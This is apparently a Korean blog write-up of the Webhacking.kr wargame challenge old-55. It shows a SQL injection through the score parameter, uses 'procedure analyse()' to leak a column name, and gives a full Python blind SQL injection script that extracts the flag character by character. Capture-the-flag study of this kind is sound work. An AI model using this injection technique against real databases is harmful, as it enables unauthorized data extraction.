마우스 좌표에 따라 이미지가 이동한다.
이미지가 왼쪽 상단에 위치하게 되면 위처럼 GAME OVER alert창이 뜬다.
여기서 확인할 건 다한 것 같으니 rank를 눌러봤다.
rank와 id, score 표가 있었고, 그 아래엔 DB에 관련된 정보가 노출되어 있다.
score부분이 링크로 되어있어 클릭해봤다.
id와 score가 뜨면서 url 파라미터 score가 추가됐다.
다른 사람들의 score를 클릭해도 똑같은 id가 출력되는 것을 보면 select 결과의 맨 위 데이터를 가져오는 것 같다.
이제 아래에 있는 php코드를 살펴보자.
mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");
id와 score, flag가 DB에 삽입되는 것 같다.
flag를 알아내야 하는데 지금은 flag의 column명을 모른다.
flag를 알아내기 위해서는 flag의 column명이 필요하다.
procedure analyse();를 사용하면 실행중인 column에 대한 정보를 얻을 수 있다.
mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");
위 코드를 봤을 때 flag column의 위치는 3번째일 것이다.
아래와 같이 작성해볼 수 있을 것 같다.
score=2147483647 limit 2,1 procedure analyse();
작성결과 flag의 column명을 알아냈다. → p4ssw0rd_1123581321
Blind SQL Injection을 하기에 앞서 참/거짓 쿼리를 보냈을 때 출력되는 문자열을 알아봤다.
참 쿼리를 보내면 id : jusb3 // 2147483647가 출력된다.
거짓 쿼리를 보내면 id : //가 출력된다.
이제 필터링을 알아보자.
mid, substr, ascii, char, substring 등 다섯가지 경우가 필터링 되었다.
이제 exploit 코드를 작성해보자.
import requests
length = 1
while True :
url = "https://webhacking.kr/challenge/web-31/rank.php"
query = "?score=2147483647 and length(p4ssw0rd_1123581321)=" + str(length) + "#"
result = requests.get(url+query)
if "id : jusb3 // 2147483647" in result.text :
print("flag length:", length)
break
print(length)
length+=1
flag = ""
for i in range(1, length + 1) :
for c in range(33, 127) :
query="?score=2147483647 and ord(right(left(p4ssw0rd_1123581321," + str(i) + "), 1)) = "+ str(c) +"#"
result = requests.get(url+query)
if "id : jusb3 // 2147483647" in result.text :
flag += chr(c)
print("FLAG :", flag)
break
flag length : 31
flag : FLAG{easy_peasy_lemon_squeezy!}
auth창에 flag를 입력하자.
old-55 해결!
'Study > Web Hacking' 카테고리의 다른 글
[Webhacking.kr] old-40 (0) | 2021.11.11 |
---|---|
[Webhacking.kr] old-29 (0) | 2021.11.11 |
[Webhacking.kr] old-34 (0) | 2021.11.05 |
[Webhacking.kr] old-53 (0) | 2021.10.09 |
[Webhacking.kr] old-49 (0) | 2021.10.09 |